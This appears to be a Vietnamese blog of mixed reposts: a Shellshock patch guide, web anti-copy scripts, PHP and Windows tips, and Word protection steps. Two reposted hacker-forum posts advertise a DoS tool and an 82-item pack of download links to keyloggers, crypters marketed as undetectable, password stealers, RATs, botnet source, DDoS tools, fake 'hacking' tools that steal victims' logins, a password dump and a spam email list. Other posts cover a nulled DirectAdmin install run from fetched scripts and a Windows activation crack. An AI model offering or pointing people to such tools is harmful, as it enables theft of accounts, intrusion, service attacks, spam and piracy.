IT Thạch Thất

Cách fix lỗi bảo mật Bash shell Vulnerability trên CentOS/RedHat Server (CVE-2014-6271) Unknown rwxr-xr-x 0 12:03 hacker - Bảo Mật

Filename	Cách fix lỗi bảo mật Bash shell Vulnerability trên CentOS/RedHat Server (CVE-2014-6271)
Permission	rw-r--r--
Author	Unknown
Date and Time	12:03
Label	hacker - Bảo Mật
Action

Theo thông tin cập nhật mới nhất, hiện nay các máy chủ (bao gồm máy chủ ảo và máy chủ riêng) sử dụng hệ điều hành CentOS/RedHat đang gặp phải lỗi bảo mật nghiêm trọng liên quan đến Bash shell.

Lỗi này ảnh hưởng tới các phiên bản hệ điều hành sau:

Red Hat Enterprise Linux 7
Red Hat Enterprise Linux 6
Red Hat Enterprise Linux 5
Red Hat Enterprise Linux 4 (ELS)

Các phiên bản Bash shell dưới đây không bị ảnh hưởng:

RHSA-2014:1293
Red Hat Enterprise Linux 7 - bash-4.2.45-5.el7_0.2
Red Hat Enterprise Linux 6 - bash-4.1.2-15.el6_5.1
Red Hat Enterprise Linux 5 - bash-3.2-33.el5.1

RHSA-2014:1294
Red Hat Enterprise Linux 4 Extended Lifecycle Support - bash-3.0-27.el4.2
Red Hat Enterprise Linux 5.6 Long Life - bash-3.2-24.el5_6.1
Red Hat Enterprise Linux 5.9 Extended Update Support - bash-3.2-32.el5_9.2
Red Hat Enterprise Linux 6.2 Advanced Update Support - bash-4.1.2-9.el6_2.1
Red Hat Enterprise Linux 6.4 Extended Update Support - bash-4.1.2-15.el6_4.1

RHSA-2014:1295
SJIS for Red Hat Enterprise Linux 6 - bash-4.1.2-15.el6_5.1.sjis.1
SJIS for Red Hat Enterprise Linux 5 - bash-3.2-33.el5_11.1.sjis.1

Để kiểm tra phiên bản Bash shell hiện tại, bạn có thể sử dụng lệnh sau:

Code:

# rpm -qa bash

Để fix lỗi bảo mật này, bạn có thể cập nhật gói Bash lên phiên bản mới nhất bằng cách sử dụng lệnh sau:

Code:

# yum update bash

(Nếu sử dụng hệ điều hành Cloudlinux, sử dụng thêm lệnh sau: # cagefsctl --force-update)

Chia sẻ bởi Vinahost

Tham khảo:
- https://access.redhat.com/security/cve/CVE-2014-6271

======================================

Bash shell Vulnerability in Red Hat Enterprise Linux ( CVE-2014-6271)

This issue affects all software that uses the Bash shell and parses values of environment variables. This issue is especially dangerous as there are many possible ways Bash can be called by an application. Quite often if an application executes another binary, Bash is invoked to accomplish this. Because of the pervasive use of the Bash shell, this issue is quite serious and should be treated as such.

Environment
Red Hat Enterprise Linux 7
Red Hat Enterprise Linux 6
Red Hat Enterprise Linux 5
Red Hat Enterprise Linux 4 (ELS)

In order to avoid exploitation from CVE-2014-6271, ensure that your system is updated to at least the following versions of Bash.
RHSA-2014:1293
Red Hat Enterprise Linux 7 - bash-4.2.45-5.el7_0.2
Red Hat Enterprise Linux 6 - bash-4.1.2-15.el6_5.1
Red Hat Enterprise Linux 5 - bash-3.2-33.el5.1

RHSA-2014:1294
Red Hat Enterprise Linux 4 Extended Lifecycle Support - bash-3.0-27.el4.2
Red Hat Enterprise Linux 5.6 Long Life - bash-3.2-24.el5_6.1
Red Hat Enterprise Linux 5.9 Extended Update Support - bash-3.2-32.el5_9.2
Red Hat Enterprise Linux 6.2 Advanced Update Support - bash-4.1.2-9.el6_2.1
Red Hat Enterprise Linux 6.4 Extended Update Support - bash-4.1.2-15.el6_4.1

RHSA-2014:1295
SJIS for Red Hat Enterprise Linux 6 - bash-4.1.2-15.el6_5.1.sjis.1
SJIS for Red Hat Enterprise Linux 5 - bash-3.2-33.el5_11.1.sjis.1

The only way to fix it is to install updated Bash packages:
# yum update bash

powerful Dos tool Unknown rwxr-xr-x 1 20:56 Hacker tool

Filename	powerful Dos tool
Permission	rw-r--r--
Author	Unknown
Date and Time	20:56
Label	Hacker tool
Action

I have an really powerful Dos tool what can take down sites.The tool is really easy to use.It seems like some script-kiddies tool ,but actually it's really powerful.

That's how the tool looks a like :
[Image: imQQM4sx.png]

Here you can see the tool in action.It shows how to use the tool and also shows how it will take down an big website.

Virusscan of the tool : File Info

Report date: 2012-07-14 08:42:39 (GMT 1)
File name: qslowloris-rar
File size: 5006619 bytes
MD5 Hash: 84151022b6dc7fadd09016aadbb8030e
SHA1 Hash: 47b5e52dda1b7f328fa49c9e39bb09d7b000284a
Detection rate: 0 on 14 (0%)
Status: CLEAN

Detections

Asquared -
Avast -
AVG -
Avira -
BitDefender -
ClamAV -
Comodo -
DrWeb -
Fprot -
IkarusT3 -
Panda -
STOPZilla -
TrendMicro -
VBA32 -

Scan report generated by
NoVirusThanks.org
http://vscan.novirusthanks.org/analysis/...pcy1yYXI=/

This is the download link of the tool : http://www.mediafire.com/?d6w74xxtg031ww4
Powered By Anonymous

TOOLS tip haking Unknown rwxr-xr-x 0 20:53 Hacker tool

Filename	TOOLS tip haking
Permission	rw-r--r--
Author	Unknown
Date and Time	20:53
Label	Hacker tool
Action

1 - PLAYSTATION EMULATOR -- You can play ps2 games on your pc with this utility,a very handy tool for gamers,its better than bleem in compatibility.
http://uploading.com/files/d29ba697/epsx...lator.rar
2 - Windows Admin Password Reset (Small Linux disk) -- Its a small linux image which can resets the admin password.
http://uploading.com/files/14747c2e/Wind...nload.rar/
3 - RAPIDSHARE ACCOUNT CHECKER(New Mask Added) -- Title says it all.
http://uploading.com/files/51cd3m24/RS%2...ECKER.rar/
4 - SQL FUZZER WITH VIDEO TUTORIAL(Only 1.5mb) -- Powerfull tool for sql injection.
http://uploading.com/files/253aaa2a/SQL%...ORIAL.rar/
5 - Ca0s SQL Perl Inj3ct0r v1 -- Good SQL injection tools source code.
http://uploading.com/files/9me23443/Ca0s...%2Bv1.rar/
6 - Milw0rm_Search_Utility_v1.0 by skyweb07 -- Small utility which can search exploits for you.
http://uploading.com/files/bfaem73d/Milw...web07.zip/
7 - Vaqxine Keylogger -- A very good tool by reputed member,it might not be FUD now but its a good tool.
http://uploading.com/files/69df2e18/Vaqx...ublic.rar/
8 - Hackers Tool Box -- Many handy tools.
http://uploading.com/files/3fm492c2/Hack...%2Bv1.rar/
9 - Nathans Image Worm -- It replaces every image on victim's pc with your defined image
ttp://uploading.com/files/3fe18118/Nath...BWorm.rar/
10 - HTTP Recon 7.3 -- Use it know weather an exe is backdoored or not.Basically its for Fingerprinting and vulnerability analysis.
http://uploading.com/files/fmd19969/httprecon-7.3.zip/
11 - JKymmel's Crypter -- For crypting you viruses.
http://uploading.com/files/e4m6514m/...2Bv%2B1.2.rar/

12 - Icon changer -- Change the icon of any file
http://uploading.com/files/6ad6aff5/IconChanger.rar/

ANONIMITY TOOLS
13 - Proximitron -- It proxifies every program you use even the command prompt.
http://uploading.com/files/ma6bm24e/proxo.rar/

14 - RAT proxy -- A tool to proxify yourself.Full info. attached.
http://uploading.com/files/64125a83/rat%2Bproxy.rar/

15 - Multi Proxy --Changes Your proxy on just one click or every few seconds.
http://uploading.com/files/7d5m5c98/multi%2Bproxy.rar/

16 - Jasager_Firmware_1.0 -- Its a Wifi MitM Tool for faking Your Access Point,it has
lots of deadly features.
http://uploading.com/files/14bm1md3/jasa...0.tar.rar/

17 - Hide my windows installer -- Hides your running programs instantly
http://uploading.com/files/827m8b65/hide...aller.zip/

SECURITY TOOLS
18 - TrueCrypt Setup 6.2a -- It uses a powerfull encryption system used by
government and agencies to encrypt your data.
http://uploading.com/files/d292b4a1/True...B6.2a.rar/
19 - NortOn GoBack -- This tools has saved me lots of time from serious error,this is a must have tools,it can
restore your pc to exact date and time.Its 1000 times better than system restore.
http://uploading.com/files/c197mf2m/Nort...B2005.rar/

20 - Anti_keylogger_sheild_v3.0 -- Now you don't have to worry about keyloggers and stealers,very usefull to have.
http://uploading.com/files/b9daed94/Anti..._v3.0.rar/

21 - Process Explorer -- A utility for listing all the processes running.
http://uploading.com/files/a42dd34f/Pokm...lorer.rar/

REVERSE ENGINEERING TOOLS
22 - Resource Hacker -- A good tool for reverse engg.
http://uploading.com/files/e3c829a6/ResHacker.rar/
23 - xvi32 -- A easy to use hexing tools.Very handy tool.
http://uploading.com/files/43c594a9/xvi32.rar/
24 - PE.Explorer for Reverse engg. -- More advanced tool for hexing.
http://uploading.com/files/461f31fe/PE.E...engg..zip/

DDOS TOOLS
25 - ProDoS v1.0 -- Powerfull tool to ddos websites.Just like site hog
http://uploading.com/files/b9fb62mf/ProDoS%2Bv1.0.zip/
26 - Ddos any site in this WWW -- Title says it all.
http://uploading.com/files/67cmb1f7/Ddos...2BWWW.rar/
27 - Site_Hog_v1 -- One of the most powerfull ddos tool.
http://uploading.com/files/e2e8f85e/Site...lease.rar/
28 - BFF DoS (Ping) v1.0 -- A good ddoser by BFF Productions

http://uploading.com/files/3838478a/BFF%...Bv1.0.rar/
29 - zDoS -- Again a powerfull ddoser.
http://uploading.com/files/4f9fd9ed/zDoS.rar/
30 - Secret Downloader -- Makes your victim download a trojan and run it hidden.
http://uploading.com/files/44b5eeb8/Tiny...r_V31.rar/
NEWLY ADDED TOOLS
31 - MD5 CRACKER BY XDEMO -- A good md5 Cracker.
http://uploading.com/files/a2e6848f/MD5CRACK.rar/
32 - PHISH GRABBER -- This tool will try to brute directories and files for the password log.In short it will hijack someone elses phishing log and their "hard work".
OCX and premade work list is included
http://uploading.com/files/c723368b/PHIS...ABBER.rar/
33 - MASSIVE XXX PASSWORDS DUMP -- TITLE SAYS IT ALL
http://uploading.com/files/b422251c/MASS...BDUMP.rar/
35 - KeyScrambler -- It encrypts all the keys you presses on the keyboard thereby protecting you from keyloggers,its a very usefull tool and it works great for me.
http://uploading.com/files/311a5f23/KeyS...Setup.rar/
36 - FUD GMAIL HACKER -- Awesome tool to hack gmail passwords,just needed little social engg.It makes victim feel that he/she is hacking a gmail id.
http://uploading.com/files/e2a839ee/Gmail_Hacker.rar/

37 - VNC CLIENT FOR YOUR MOBILE -- A VNC Client for J2ME (Java 2 Mobile Edition)
http://uploading.com/files/8816af8f/VNC-...40519.rar/

★ ULTIMATE TOOLS PACK [ PART -2 ] ★

38 - Hacker's Browser v2.0 by Alpha*** --
http://img20.imageshack.us/img20/5996/screenshotouy.jpg
- Built in milw0rm search
- Built in who.is
- Built in Reverse ip
and more features.
http://uploading.com/files/4a1m7f8a/Hack...ha***.rar/
39 - Private ddos tool by pureedee v3.0 -- One of the most powerfull ddos tool.Send 50,000 syn packets in a sec.
http://uploading.com/files/47222f78/Priv...Bv3.0.rar/
40- FUD CRYPTER - TITLE SAYS IT ALL.
http://uploading.com/files/12144f18/FudC...p2009.rar/

41 - HACKER'S ASSISTANT [NOT FUD]
http://uploading.com/files/13f9mb48/Hack...stant.rar/

42 - CREDIT CARD PAYMENT [SECURE AND CLEAN] -- You can directly pay to anyone with help of this tool.
http://uploading.com/files/mb5839d7/Cred...52529.rar/
43- SMS BOMBER [CLEAN] -- One of the best sms bomber i have seen,it supports tons of carriers,
http://uploading.com/files/87888a86/my-sms.rar/

44 - SERVER ATTACK TOOL [SOURCE CODE] -- SOURCE CODE OF A POWERFULL DDOS TOOL.
http://uploading.com/files/92e1cfbf/serv...ource.rar/

45 - TAKE DOWN SMALL WEBSITES [CLEAN] -- IT CAN TAKE DOWN SMALL WEBSITES DOWN IN SECONDS.
http://uploading.com/files/3am5m17e/take...sites.rar/
46 - ROOT MULTI ACCOUNTS CHECKER -- Its the best account checker out there,can check the accounts of about 22 sites including paypal,rapidshare etc.
http://uploading.com/files/e5fmbce9/Root...ecker.rar/
47 - EXPLOIT FOR GRABING USER AND PASS OF CPANEL + ITS HIGH QUALITY VIDEO TUTORIAL -- TITLE SAYS IT ALL.
http://uploading.com/files/7f14884m/grab...panel.rar/

48 - Email hacking SOftware by Ny.xXBRONX -- Very good tool which Makes victim think that he is hacking and email id and grabs his/her password and sends it to you.
http://uploading.com/files/f745cbc2/Emai...BRONX.rar/

49 - GhonZilla stealer -- Steales keys and other things
http://uploading.com/files/d18f8378/Ghon...ealer.rar/

50 - FACEBOOK FOREVER ACCOUNT FREEZER -- TITLE SAYS IT ALL.
http://uploading.com/files/7dm34b2a/face...eever.rar/

51 - Albertino_KeyLogger_Creator [CLEAN] -- Its one of the most wanted keylogger.
http://uploading.com/files/2999m21d/Albe...eator.rar/

52 - Cigi Cigi VIP RAT -- It might be detectable but has lots of features and is not common.
http://uploading.com/files/5ea9d176/Cigi...2BRAT.rar/

53 - AUTO POSTER [CLEAN] -- THIS IS A MUST HAVE TOOL,IT CAN INCREASE YOUR DOWNLOADS INCREASE YOUR EARNINGS DRASTICALLY.IT AUTOMATICALLY POSTS YOUR DOWNLOAD LINK TO TONS OF FORUMS,ITS A BEST TOOL FOR UPLOADERS.
http://uploading.com/files/76ed84a6/auto%2Bposter.rar/

54 -Detect it easy --It can detect weather a file is binded or not,i have not scanned it,so scan it before use,it should be clean.
http://uploading.com/files/2e4e8be4/Dete...Beasy.rar/

55 - HACKING A SITE WITH SQL INJECTION AND UPLOADING A SHELL IN JOOMLA ADMIN PANEL [COMPRESSED] -- A GOOD AND INFORMATIVE TUT,SHOULD GIVE IT A LOOK,67.9 mb compressed to 1.3 mb only.
http://uploading.com/files/883f74d5/adva...oomla.rar/

56 - INTERNET LOCK -- If you ever feels any suspicious internet activity it can be blocked with just one click thereby protecting you from stealing of your information.
http://uploading.com/files/9m92e339/inte...Block.rar/

57 - b3y0nd mail bomber -- For bombing with tons of mails.
http://uploading.com/files/1m33f1m5/b3y0...omber.rar/

58 - SIGNATURE MAKER -- A VERY HANDY TOOL TO MAKE YOUR SIGNATURE FAST AND EASILY.
LINK REMOVED,I WILL POST IT AS SOON AS I'LL FIND A GOOD ONE.
59 - HH STEALER [CLEAN] -- Good stealer to steal passwords.Scan is attached.
http://uploading.com/files/e743e9bd/HH%2BSTEALER.rar/

60 - Multi Account Checker - A good account checker which can check weather an account is working or dead.
http://uploading.com/files/86a3cb2c/Mult...Bv1.0.rar/

61 - ADMIN PAGE FINDER [CLEAN] -- SMALL AND FAST TOOL WHICH CAN FIND THE ADMIN LOGIN OF ANY SITE.
http://uploading.com/files/bf986d1c/Admi...inder.rar/

★ ULTIMATE TOOLS PACK [ PART -3 ] ★
62- Yahoo! Messenger Fake 3.2 -- STEALS CHATS AND PASSWORDS AND SENDS IT TO YOU,IT LOOKS EXACTLY LIKE YAHOO MESSENGER.
http://uploading.com/files/a12ebeb2/Yaho...2B3.2.rar/

FORENSIC TOOLS

63-USB HISTORY -- TELL ALL THE FILES WHICH WERE KEPT IN THE USB STICK,A VERY GOOD AND IMPRESSIVE TOOL.
http://uploading.com/files/288e32cb/usb-...%2Br1.rar/

64-ADS LOCATOR -- Alternate Data Streams,AGAIN A VERY GOOD FORENSIC TOOL.
Its a tool that can be used to find files that have alternate ADS streams attached
http://uploading.com/files/ab171935/ads%...B2004.rar/

65-DISK INVESTIGATOR -- File-Slack-AnalyzeR,USED BY MANY FORENSIC COMPANIES TOO.
http://uploading.com/files/6bec2f6a/disk...gator.rar/

66-WINDOWS FILE ANALYSER -- ANALYSES ANY FILE FOR HIDDEN DATA IN IT.
http://uploading.com/files/mm4ed2ba/wind...2B1.0.rar/

67-NETWORK MINER -- I THINK EVERYONE MUST BE KNOWING ABOUT IT.
http://uploading.com/files/51615a66/Netw...B0.87.rar/

68-SYSTEM REPORT 3.5 -- ANALYSES AND GIVE A DETAILED REPORT OF ANY SYSTEM UNDER INVESTIGATION.
http://uploading.com/files/85fd1d2m/syst...2B2.5.rar/

MISC. TOOLS

69-(Competition) IRCbot -- TITLE SAYS IT ALL
http://uploading.com/files/e65cf1f4/%252...RCbot.rar/

70-ADMIN LOGIN FINDER SOURCE -- TITLE SAYS IT ALL.
http://uploading.com/files/3629a6a2/ADMI...OURCE.rar/

71 -EMAIL EXTRACTOR SOURCE -- EXTRACTS EMAILS FOR WEBSITES.
http://uploading.com/files/a1b2d3cd/Emai...ource.rar/

72-TWENTY MILLION EMAIL LIST + MASS EMAIL BOMBER -- MUST HAVE FOR ANY SPAMMER.
http://uploading.com/files/m5169de8/20.0...llist.rar/

73-ZIXT'S Botnet Source -- A GOOD BOTNET
http://uploading.com/files/f669adb5/Zixt...ource.rar/

74-PHP SPY BOT SCRIPT -- USE IT TO KNOW WHAT IT IS
http://uploading.com/files/6mem42bd/php%...cript.rar/

75-SAFE0VER SHELL - SAFE MODE BYPASS BY EVILCODER -- TITLE SAYS IT ALL
http://uploading.com/files/de9df5ab/Safe...c0der.rar/
76-REERAR -- A VERY HANDY TOOL FOR CRACKING RAR PASSWORDS.
http://uploading.com/files/e9d7b9e6/ReeRar.rar/

77 -Mayoko.v1.1.5 Incl Keymaker -- SEARCH RAPIDSHARE DATABASE,A VERY HANDY TOOL.
http://uploading.com/files/7f733d6f/Mayo...maker.rar/

78-MEDIAVLE bluescan_setup -- BLUETOOTH ATTACKER,CAN DO BLUE-BUG AND BLUE-SNARFING ATTACKS TOO.
http://uploading.com/files/986c711f/bluescan_setup.rar/

79- HISTORIAN -- TELLS ALL THE DELETED HISTORY OF ANY SYSTEM.
http://uploading.com/files/af56bb2b/hist...2B1.4.rar/

80-HYDRO PUMP -- A VERY GOOD AND IMPRESSIVE TOOL FOR ADDING BYTES TO ANY KIND OF FILE.
http://uploading.com/files/bf87e7dm/HydroPUMP_.rar/
81-BEAVERS PIC HUNTER -- SEARCHES FOR ALL THE PICS ON THE VICTIM'S PC AND UPLOAD IT TO YOUR FTP .
http://uploading.com/files/b57878e4/Beav...unter.rar/
82-SYS FLOOD -- A VERY POEWRFULL TOOL FOR DDOSING.
http://uploading.com/files/f46c49m1/SYN-flood.rar/
hit the like button and +rep me if my post helped you
Your Intelligence is My common senseThumbsup!
Powered By Anonymous

chống coppy cho newbie Unknown rwxr-xr-x 0 12:32 Scripts

Filename	chống coppy cho newbie
Permission	rw-r--r--
Author	Unknown
Date and Time	12:32
Label	Scripts
Action

<!-- Disable Right Click Script! -->
<script type='text/javascript'>
var DADrightclicktheme = 'dark';
var DADrightclickimage = 'https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1mJuUer7aGsWHTs1-Kf4rgePO5nDfmy3lXLM1FPLQGNv5G2w-G6-QplJqds6BNoCGD4gyPWdw4t4Isnv6kNE4yXTxLgJGRIHPdZUGe8it-SOURrG6ryJ7DQrMUnknkw1YEglTbDKH1byR/s347/copyright.png';
</script>
<script src='//googledrive.com/host/0B7H_GQEvKCj1WFZhdDJGUWNBYWs/disable-rightclick/disable-rightclick.js' type='text/javascript'></script>

ko cho CTRL+U Unknown rwxr-xr-x 0 12:00 Scripts

Filename	ko cho CTRL+U
Permission	rw-r--r--
Author	Unknown
Date and Time	12:00
Label	Scripts
Action

bước 1 : chèn phía dưới <b:skin> mã :

<!-- Library jQuery -->
<script src='//ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js' type='text/javascript'/>

bước 2 chèn mã này sau </head>

<style>
#controlu {
    position: fixed;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    z-index: 100005;
    background: rgba(0,0,0,.8);
    display: none;
    color: #000;
    text-align: center;
}

#controlu a {
    color: #079aec;
}

#controlu #controluinner {
    padding: 10px;
    max-width: 450px;
    height: 60px;
    position: absolute;
    top: 0;
    bottom: 0;
    left: 0;
    right: 0;
    margin: auto;
    font: 400 13px/20px Arial,sans-serif;
    background: #eee;
    border: 10px solid #555;
    font-size: 130%;
}
</style>

bước 3 : chèn mã này trước </body> :


<script type='text/javascript'>
// Disable ControlU
function controlu(a){var e=document.getElementById("controlu");var h=document.getElementById("controluinner");var b="Haha, ketauan!! mau ngintip code yaa?? <img src='//googledrive.com/host/0B7H_GQEvKCj1SmIxOXhHalV2ZVE/ngakak.gif' style='width:60px;height:50px;'/>";if(a.ctrlKey&amp;&amp;a.which==85){e.style.display="block";h.innerHTML=b;return false}}document.onkeydown=controlu;
</script>

4. Bước tiếp theo, viết code html dưới đây ngay sau thẻ <body> :

<div id='controlu' oncontextmenu='return false'><div id='controluinner'/></div>

chi tiết xem tại : http://blog.kangrian.com/2014/04/simple-and-custom-disable-ctrlu-with-notification-and-image.html

active win8 100% ok Unknown rwxr-xr-x 0 11:53 Crack - Hack - Key

Filename	active win8 100% ok
Permission	rw-r--r--
Author	Unknown
Date and Time	11:53
Label	Crack - Hack - Key
Action

kms.zip

Cài đặt DirectAdmin v1.44 Nulled thành công 100% [Có Video] Unknown rwxr-xr-x 0 13:15 Tut Server - VPS

Filename	Cài đặt DirectAdmin v1.44 Nulled thành công 100% [Có Video]
Permission	rw-r--r--
Author	Unknown
Date and Time	13:15
Label	Tut Server - VPS
Action

Xin chào quý khách,

Dưới đây là hướng dẫn cài đặt DirectAdmin Nulled v1.44 Nulled by KAN.vn. Tất nhiên KAN không khuyến khích khách hàng cài đặt, vì đây là bản không chính thức, không được DirectAdmin hỗ trợ, nên tốt nhất quý khách nên đăng kí bản quyền.

DirectAdmin là gì?

DirectAdmin (DA) là một phần mềm hệ thống xây dựng trên nền hệ điều hành Linux phục vụ cho mục đích quản trị máy chủ lưu trữ website chia sẻ (shared hosting). Website của công ty cung cấp DA là www.directadmin.com. Hệ thống quản lý này không chỉ cho phép người dùng cuối quản trị mà còn hỗ trợ cả các tài khoản đại lý. Sản phẩm sử dụng giao diện web và cung cấp các tính năng quản trị tốt cho những nhà cung cấp dịch vụ lưu trữ web (hosting provider), đại lý và người dùng cuối. DirectAdmin là một hệ thống ổn định đối với các dịch vụ lưu trữ web.

Hệ thống DA hướng tới tốc độ trong các tác vụ và tính dễ dùng. DA có đủ các thành phần cần thiết phục vụ cho việc quản lý một máy chủ với giao diện đồ họa (GUI). Hệ thống không bị quá tải bởi những chức năng thừa thãi đối với người quản trị máy chủ.

Bước 1: Cập nhật Source

Download:

Code:wget -c https://www.kan.vn/DA/1.44/update_source.sh

Chmod:

Code:chmod 755 update_source.sh

Chạy:

Code:./update_source.sh

Bước 2: Cài đặt DirectAdmin

Mã:

wget -c https://www.kan.vn/DA/1.44/da1443-en.sh

Mã:

chmod 755 da1443-en.sh

Mã:

./da1443-en.sh 2>&1|tee directadmin_install.log

Bước 3: Xóa trang login tiếng Khựa:

Mã:

rm /usr/local/directadmin/data/templates/login.html

Sau khi cài đặt xong:

Trang login DirectAdmin

Video hướng dẫn chi tiết:

Nếu có bất cứ thắc mắc nào bạn comment, mình sẽ hỗ trợ hết sức
Đọc thêm ở: https://www.kan.vn/customer/knowledgebase.php

Sau bài này mình sẽ hướng dẫn update lên directadmin mới nhất

Hide web server info Unknown rwxr-xr-x 0 03:23 Tut Server - VPS

Filename	Hide web server info
Permission	rw-r--r--
Author	Unknown
Date and Time	03:23
Label	Tut Server - VPS
Action

Apply for: PHP, Apache
1. Configure php.ini
Info: X-Powered-By PHP/5.3.8
Default: expose_php = On

After set expose_php = Off

Hide PHP version in HTTP header response

2. Configure httpd.conf
After set:

ServerSignature Off
ServerTokens Prod

Hide Apache version in HTTP header response

Source code shared by HuyPV at 4:55 PM

Lấy khoảng thời gian một tuần có chứa ngày cho trước Unknown rwxr-xr-x 0 03:18 php-mysql

Filename	Lấy khoảng thời gian một tuần có chứa ngày cho trước
Permission	rw-r--r--
Author	Unknown
Date and Time	03:18
Label	php-mysql
Action

Bài toán:
Cho ngày cụ thể D. Tìm khoảng thời gian 1 tuần Dx - Dy sao cho D thuộc trong khoảng thời gian Dx - Dy. Biết Dx là ngày thứ ba (Tuesday).

Giải:
1 tuần có 7 ngày

Chủ nhật

Thứ hai

Thứ ba

Thứ tư

Thứ năm

Thứ sáu

Thứ bẩy

Từ ngày D ta xác định được D là ngày chủ nhật hay thứ mấy.
Do khoảng thời gian là 1 tuần, Dx là thứ ba nên Dy là thứ hai.
Nhìn vào bảng trên, ta nhận thấy:
- Nếu D là ngày Thứ ba, Thứ tư, Thứ năm, Thứ sáu, Thứ bẩy thì Dx sẽ là Thứ ba trong bảng. Dy sẽ là Thứ hai - 1 tuần sau của Thứ hai trong bảng.
- Nếu D là ngày Chủ nhật hoặc Thứ hai thì Dy sẽ là Thứ hai trong bảng. Theo đó Dx sẽ là Thứ ba - 1 tuần trước của Thứ ba trong bảng.

Code PHP:
$d = time(); // CURRENT TIME
$dayIndex = date('w', $d); // Trả về số thứ tự của ngày trong tuần, bắt đầu từ 0 là Chủ nhật
if ($dayIndex >= 2) { // 2 là số thứ tự của Thứ ba
    $dx= strtotime(date('Y-m-d 00:00:00', $d- ($dayIndex -2) *24*3600));
    $dy= strtotime(date('Y-m-d 23:59:59', $dx+6*24*3600));
} else {
    $dy= strtotime(date('Y-m-d 00:00:00', $d+ (1-$dayIndex ) *24*3600)); // 1 là số thứ tự của Thứ hai
    $dx= strtotime(date('Y-m-d 23:59:59', $dy-6*24*3600));
}

echo date('Y-m-d', $dx) . ' - ' . date('Y-m-d', $dy);

Windows - Command change dns Unknown rwxr-xr-x 0 03:12 Thủ Thuật Máy Tính

Filename	Windows - Command change dns
Permission	rw-r--r--
Author	Unknown
Date and Time	03:12
Label	Thủ Thuật Máy Tính
Action

Hướng dẫn thay DNS bằng lệnh netsh

Bước 1:
Xem máy đang có những kết nối mạng nào (mạng cắm dây, mạng wifi, mạng VPN..)
netsh interface show interface

Bước 2:
Xác định tên mạng kết nối cần thay DNS để thực hiện lệnh tác động
netsh interface ipv4 add dnsserver "Local Area Connection 2" address=8.8.8.8 index=1
Lệnh trên sẽ thiết lập 8.8.8.8 làm địa chỉ DNS thứ nhất (index=1) cho kết nối mạng "Local Area Connection 2"

Chú ý chạy với quyền Administrator.

Bảo vệ file Word qua các đời 2003, 2007, 2010, 2013 Unknown rwxr-xr-x 0 08:44 bảo mật

Filename	Bảo vệ file Word qua các đời 2003, 2007, 2010, 2013
Permission	rw-r--r--
Author	Unknown
Date and Time	08:44
Label	bảo mật
Action

Phần mềm Microsoft Word đã trải qua nhiều đời nâng cấp nhưng cơ chế bảo mật file Word nhiều lớp thì không thay đổi nhiều, vẫn luôn được người dùng đánh giá cao..

Phiên bản mới nhất hiện nay là Word 2013 có khá nhiều tính năng mới nhưng cơ chế bảo mật thì không mới so với những “người tiền nhiệm”. Tuy vậy, khả năng bảo mật file Word vẫn được nhiều người đánh giá là khó phá hơn file PDF, với cơ chế bảo vệ nhiều lớp…

Dưới đây sẽ là hướng dẫn 3 thao tác bảo mật file Word cơ bản qua các đời 2003, 2007, 2010 và 2013, đó là chống chỉnh sửa, chống in và chống mở trộm.

Bảo mật file Word: Chống chỉnh sửa, copy

Tính năng chống chỉnh sửa sao chép văn bản trong Word đã có từ những phiên bản đầu tiên. Trong một số trường hợp bạn không muốn người đọc thay đổi nội dung, hoặc chia sẻ tài liệu văn bản mà chỉ được đọc thì có thể làm theo hướng dẫn sau:

Word 2010 và Word 2013

Ở phiên bản Word 2010 và 2013 các bạn vào phần tab REVIEW => Restrict Editing rồi tích Editing restrictions và chọn Filling in forms. Sau đó hãy nhấn nút Yes, Start Enforcing Protection và nhập mật khẩu cho văn bản.

Bảo mật file Word: Ở phiên bản Word 2010 và 2013 các bạn vào phần tab REVIEW (1) => Restrict Editing (2) rồi tích “Editing restrictions” (3) và chọn “Filling in forms” (4). Sau đó hãy nhấn nút Yes, Start Enforcing Protection (5) và nhập mật khẩu cho văn bản (6).

Khi thực hiện xong văn bản của bạn chỉ được đọc, người dùng không thể thêm bớt chỉnh sửa, cũng không thể bôi đen chọn đoạn text nào hay không thể Ctrl + A để sao chép toàn bộ văn bản.

Word 2007

Đối với Word 2007 cũng tương tự, tuy nhiên tính năng chống chỉnh sửa và sao chép văn bản được ẩn sâu hơn dưới mục Review => Protect Document => Restrict Formatting and Editing.

Bảo mật file Word: Đối với Word 2007, tính năng chống chỉnh sửa và sao chép văn bản được ẩn sâu hơn dưới mục Review (1) => Protect Document (2) => Restrict Formatting and Editing (3).

Word 2003

Với Word 2003, các bạn vào tab Tools rồi Protect Document và làm các bước cài đặt tương tự như Word 2010 và 2013.

Bảo mật file Word: Với Word 2003, các bạn vào tab Tools rồi Protect Document (mũi tên) và làm các bước cài đặt tương tự như Word 2010 và 2013.

Bảo mật file Word: Chống in

Nếu như tính năng chống chỉnh sửa, sao chép sẽ ngăn chặn người đọc chia sẻ bản mềm file Word lung tung thì thủ thuật chống in ngăn chặn nốt nguy cơ phát tán trên giấy in. Thao tác chống in được thực hiện tương tự nhau trên các bản Word 2003, 2007, 2010 và 2013.

Bước 1: Trước tiên hãy Ctrl + A để bôi đen toàn bộ văn bản hoặc bạn có thể bôi đen riêng đoạn không muốn bị in. Sau đó kích phải chuột và chọn Font.

Bảo mật file Word: Trước tiên hãy Ctrl + A để bôi đen toàn bộ văn bản hoặc bạn có thể bôi đen riêng đoạn không muốn bị in. Sau đó kích phải chuột và chọn Font (mũi tên).

Bước 2: Bảng chọn Font hiện ra, hãy tích Hidden rồi OK. Sau khi nhấn OK bạn sẽ thấy toàn bộ văn bản bị biến mất.

Bảo mật file Word: Bảng chọn Font hiện ra, hãy tích Hidden (khung đỏ) rồi OK (mũi tên).

Bước 3: Vào File => Options rồi chọn mục Display. Sau đó tích chọn mụcHidden text rồi OK.

Lúc này đoạn văn bản hiện trở lại (có mấy dấu chấm chấm ở dưới chân) nhưng sẽ không thể in được nữa. In ra lúc này chỉ được một tờ giấy trắng mà không thấy chữ đâu.

Bảo mật file Word: Vào File => Options rồi chọn mục Display (khung đỏ). Sau đó tích chọn mục “Hidden text” (khoanh tròn) rồi OK.

Bạn lưu ý, nếu muốn vừa không in được, vừa không chỉnh sửa sao chép được thì hãy làm chống in trước rồi làm chống chỉnh sửa sau.

Bảo mật file Word: Chống mở

Trường hợp khóa kĩ nhất là khi thậm chí không cho người ta mở ra đọc (phải có mật khẩu mới mở được).

